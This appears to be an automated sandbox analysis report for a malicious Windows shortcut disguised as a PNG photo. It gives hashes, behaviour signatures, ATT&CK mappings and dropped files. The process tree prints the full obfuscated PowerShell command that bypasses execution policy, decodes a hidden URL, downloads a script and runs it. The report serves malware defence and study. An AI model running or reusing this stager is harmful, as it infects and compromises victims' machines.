5aa9b2b7922d88aef7df85c4aeb38392e989f45d30c2ef4222f3bab3314610fb

Analysis

max time kernel
150s
max time network
140s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260629-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260629-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
03/07/2026, 22:22

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
PHOTO-616669398.png.lnk
Size 2KB
Sample260703-1962eagy8w
SHA256 5aa9b2b7922d88aef7df85c4aeb38392e989f45d30c2ef4222f3bab3314610fb
MD5 b158dc124c35aea7768b6d8fd1f6d816
SHA1 295258ff5db6e7c5cd0e74b71941511cb454df94
SHA512 21ada33ed74f455c7c03ea8224f757b3f97a0622ef5f5038f942008c1f403e3fe3fc2078f0ef036272a2db4015f9bcae66d0993609b9bd5a17387e72d5d12d0b
TLSH
T1594122101BE2036CFBF74F35D8BD7213B925B412FA129F8E019002A855B0510E8A7F3E
MD5 SHA1 SHA512 TLSH

Score

10^/10

execution

Malware Config

Extracted

Language

Source

URLs

exe.dropper
https://nodejs.org/dist/v24.13.0/node-v24.13.0-win-x64.zip

Signatures

Badlisted process makes network request 2 IoCs

Network request originating from process or tool commonly abused by malware.

flow	pid	Process
2	4180	powershell.exe
3	2280	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
4180	powershell.exe
2280	powershell.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious behavior: EnumeratesProcesses 45 IoCs

pid	Process
4180	powershell.exe
4180	powershell.exe
2280	powershell.exe
2280	powershell.exe
2280	powershell.exe
2280	powershell.exe
2280	powershell.exe
2280	powershell.exe
2280	powershell.exe
2280	powershell.exe
2280	powershell.exe
2280	powershell.exe
2280	powershell.exe
2280	powershell.exe
2280	powershell.exe
2280	powershell.exe
2280	powershell.exe
2280	powershell.exe
2280	powershell.exe
2280	powershell.exe
2280	powershell.exe
2280	powershell.exe
2280	powershell.exe
2280	powershell.exe
2280	powershell.exe
2280	powershell.exe
2280	powershell.exe
2280	powershell.exe
2280	powershell.exe
2280	powershell.exe
2280	powershell.exe
2280	powershell.exe
2280	powershell.exe
2280	powershell.exe
2280	powershell.exe
2280	powershell.exe
2280	powershell.exe
2280	powershell.exe
2280	powershell.exe
2280	powershell.exe
2280	powershell.exe
2280	powershell.exe
2280	powershell.exe
2280	powershell.exe
2280	powershell.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	4180	powershell.exe
Token: SeDebugPrivilege	2280	powershell.exe

Suspicious use of WriteProcessMemory 4 IoCs

description	pid	Process	procid_target
PID 5896 wrote to memory of 4180	5896	cmd.exe	89
PID 4180 wrote to memory of 2280	4180	powershell.exe	90
PID 2280 wrote to memory of 2512	2280	powershell.exe	91
PID 2512 wrote to memory of 5176	2512	csc.exe	92

C:\Windows\system32\cmd.exe
cmd /c C:\Users\Admin\AppData\Local\Temp\PHOTO-616669398.png.lnk
1⤵
- Suspicious use of WriteProcessMemory
PID:5896
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ep bypass -c "$hKCDsNp=[System.Numerics.BigInteger]\"265741122099128564813779447079131566531\";$Tr27aif=[System.Numerics.BigInteger]\"117664960889061141640528332535897056346\";$AgLhHhy8=$hKCDsNp - $Tr27aif;for($QIWKQwcQ=100+156;$AgLhHhy8 -ne 0;$AgLhHhy8=$AgLhHhy8 / $QIWKQwcQ){$jTjirqq=[int]($AgLhHhy8 % $QIWKQwcQ);$vB3sEe+=[System.Char]$jTjirqq;};curl $vB3sEe -OutFile $env:TEMP\qNYmhu6.ps1 -UseBasicParsing; powershell -ep bypass -File $env:TEMP\qNYmhu6.ps1"
  2⤵
  - Badlisted process makes network request
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:4180
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ep bypass -File C:\Users\Admin\AppData\Local\Temp\qNYmhu6.ps1
    3⤵
    - Badlisted process makes network request
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:2280
  - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
      "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\jfrqvs2u\jfrqvs2u.cmdline"
      4⤵
      Suspicious use of WriteProcessMemory
      PID:2512
    - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
        
        C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RESEB74.tmp" "c:\Users\Admin\AppData\Local\Temp\jfrqvs2u\CSC4C171B725DF44EE89E958A936887F79.TMP"
        5⤵
        
        PID:5176

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

ModuleAnalysisCache

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache
Size 67KB
SHA256 96952b58e7507bfbf6b1edf838d41182ae4f94e983572fa0c037be46d4ab1b05
MD5 b65d38126d60f6776d0fee761697a8ab
SHA1 fce1b1fa5ee6c386768d73e767a6bf9a04c23b30
SHA512 100a082250af816628e48f6949a2068bada9998b7bd29fa7408af7fd8d4425d03c85b92e6e2e4c08dc55e6bb56b4f31aedeaf3f4ac201e80d2cdac77353c5dd6
SSDEEP 1536:mKLg0mYo2hOovpfKQVGflJdpHYWh4iUx9R40i71Yi9MQyPcMrxoi3jiRjdvRwa5Z:mKLg0mYo2hOovpfKQVGflJd9YWqiU9Rg
TLSH
T11C636192E9204E75E1A66F3EF15622627C30394690F8113211DC25EFA987D970B1FBFE
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

RESEB74.tmp

Path C:\Users\Admin\AppData\Local\Temp\RESEB74.tmp
Size 1KB
SHA256 5b7ffcf8e4b3315638150bc4c04a82ab2cc02a4c8e5cab1060e7dcc683d14860
MD5 f77ab00f21650b65a12d903f3410ceb0
SHA1 26e8fb945396039ced6ac79d9f521c3ce043938d
SHA512 7e7a7f1238f947027f0e6ef43d712a9dbfc6d395f559416697003e50dd9197d9075d2d613a0b13e07c0194074a5c1a38069ce44dae8b5f443436cdea609dac42
TLSH
T15E21AF0593EC471EF0734B3269FA132F9775FD65DFA2936B944042282C51504EEE1B72
MD5 SHA1 SHA512 TLSH

Submit Download

__PSScriptPolicyTest_cixdwnny.nue.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_cixdwnny.nue.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
TLSH
T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
MD5 SHA1 SHA512 TLSH

Submit Download

jfrqvs2u.dll

Path C:\Users\Admin\AppData\Local\Temp\jfrqvs2u\jfrqvs2u.dll
Size 3KB
SHA256 50abda357e76eaae695f1874606c112b14d0c62bc70f1f9d937d3936e05cdb41
MD5 55a8f3e1b9ea7a45672450d60427503b
SHA1 e45f32a40d3d71e3caaa62fa753fdb072129d089
SHA512 ed5e220c8b04b67f124db74dfce64e0444cb6bf40ed5d15d659fd02decd5229c77dd1a107642bbf69b3d4ae4afb50f3e149a024e23060b0d154473c2a4577e81
TLSH
T1BB51CA1AA3EC462BE4770730AEE3075737B4FC108FB2936959800229AC207546E35BB1
MD5 SHA1 SHA512 TLSH

Submit Download

qNYmhu6.ps1

Path C:\Users\Admin\AppData\Local\Temp\qNYmhu6.ps1
Size 403KB
SHA256 ff4ea30edd6488d529f7065230f8e92911745cb95ae34e3b6ddf3144fc59ee32
MD5 410a880fcd95d65baf2547dc699a5e8e
SHA1 77d3886f7666a1e919112416fdff4bd1eea272aa
SHA512 2953781a216a0bf2f7063f00243ec55389a538045eb787df5fc5ffa58d07e099f08bb889f4b970084f2acff6efc92edfdfe04c71c19f486fd838b80bacfd2922
SSDEEP 6144:x3Idg2EF1w+1pRjFHuNYqT9+1WRfkURwdzo1YlnTHGvD9HG3Ah9dCEltX:x3IbObHuN1fxAs1uGvD9HGQh3x
TLSH
T1779423025D60EEAB06ACC126E0BF2E9616F05DE5518C7A4EF35CC4D96FC6209E34F6B4
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

CSC4C171B725DF44EE89E958A936887F79.TMP

Path \??\c:\Users\Admin\AppData\Local\Temp\jfrqvs2u\CSC4C171B725DF44EE89E958A936887F79.TMP
Size 652B
SHA256 b2e8d220947edc01e39444c365156e6c04e3fe094eb96ab93109f12011379d5a
MD5 5d03e28774b90c5cf301020b387b6d63
SHA1 bae6c2e29effc02730411c6ab7123ae211210fd5
SHA512 bdb9a8e4d79a0a17a185021e4ea5bd251d53a8586d6ee01ce53b4e13880456e6bfb54137945001c6702f08c586bd8022e958902735a72d44878e762f79d52f63
TLSH
T1D5F05E4963FC420EF0F34F30BDF6536391A9BC65DE3293ED6480031928646209972FB2
MD5 SHA1 SHA512 TLSH

Submit Download

jfrqvs2u.0.cs

Path \??\c:\Users\Admin\AppData\Local\Temp\jfrqvs2u\jfrqvs2u.0.cs
Size 203B
SHA256 5473b5550a65171ee7d5977d673c97e41e9ec16fad10ec5ab8aa3b7c798577a6
MD5 171a88ab4fad87acfd2e5032eb0c6113
SHA1 754de0e7656c558d335710fc41cbf196d39c1a19
SHA512 87ef6ac53a00d21f2df4d81ec5956861a4b539b10f5855345aa068c0d9d971f3329477e485471eb40b9eeea59f01fd3c42c4ab2f25e71d825cbf3586be0206b8
TLSH
T13AD023147BF36D34100304130C4661FCB713812B169E26057DF81300CF4700A0275919
MD5 SHA1 SHA512 TLSH

Submit Download

jfrqvs2u.cmdline

Path \??\c:\Users\Admin\AppData\Local\Temp\jfrqvs2u\jfrqvs2u.cmdline
Size 369B
SHA256 3c7a1da6194c25ec64d36c19a90a55cfa9564dfabaf268facc357cce25a83bfd
MD5 eaecca0c8fc9aaca45dcc2b1a233c754
SHA1 1f6b2240cbc6a4341ffc5e30174e22f023a7bf6d
SHA512 8adb05404fead4655e82f2926cb627fe04acad0c40be49edcda9bcba6cc233f90120c34b5c01da50d7dc29e81b611938a33d3d09af528f655fdb3017071c4d77
TLSH
T13CE0C62A6256C37D11FD100B226EC4ACE2730B8329853FC4B0A4C48DE127080AFE2781
MD5 SHA1 SHA512 TLSH

Submit Download

memory/2280-46-0x000001662F950000-0x000001662FA02000-memory.dmp

Download

memory/2280-45-0x000001662F570000-0x000001662F58E000-memory.dmp

Download

memory/2280-47-0x000001662F590000-0x000001662F59A000-memory.dmp

Download

memory/2280-48-0x000001662F580000-0x000001662F592000-memory.dmp

Download

memory/2280-34-0x000001662F390000-0x000001662F398000-memory.dmp

Download

memory/2280-49-0x000001662F570000-0x000001662F57A000-memory.dmp

Download

memory/4180-11-0x00007FFBD9A70000-0x00007FFBDA414000-memory.dmp

Download

memory/4180-38-0x00007FFBD9A70000-0x00007FFBDA414000-memory.dmp

Download

memory/4180-16-0x00007FFBD9A70000-0x00007FFBDA414000-memory.dmp

Download

memory/4180-15-0x00007FFBD9A70000-0x00007FFBDA414000-memory.dmp

Download

memory/4180-14-0x00007FFBD9A70000-0x00007FFBDA414000-memory.dmp

Download

memory/4180-13-0x00007FFBD9A70000-0x00007FFBDA414000-memory.dmp

Download

memory/4180-12-0x00007FFBD9A70000-0x00007FFBDA414000-memory.dmp

Download

memory/4180-35-0x00007FFBD9A70000-0x00007FFBDA414000-memory.dmp

Download

memory/4180-37-0x00007FFBD9A70000-0x00007FFBDA414000-memory.dmp

Download

memory/4180-17-0x00007FFBD9A70000-0x00007FFBDA414000-memory.dmp

Download

memory/4180-2-0x00007FFBD9BFF000-0x00007FFBD9C00000-memory.dmp

Download

memory/4180-10-0x00007FFBD9A70000-0x00007FFBDA414000-memory.dmp

Download

memory/4180-9-0x00007FFBD9A70000-0x00007FFBDA414000-memory.dmp

Download

memory/4180-8-0x00007FFBD9A70000-0x00007FFBDA414000-memory.dmp

Download

memory/4180-7-0x00007FFBD9A70000-0x00007FFBDA414000-memory.dmp

Download

memory/4180-6-0x000002827A830000-0x000002827A852000-memory.dmp

Download

memory/4180-5-0x00007FFBD9A70000-0x00007FFBDA414000-memory.dmp

Download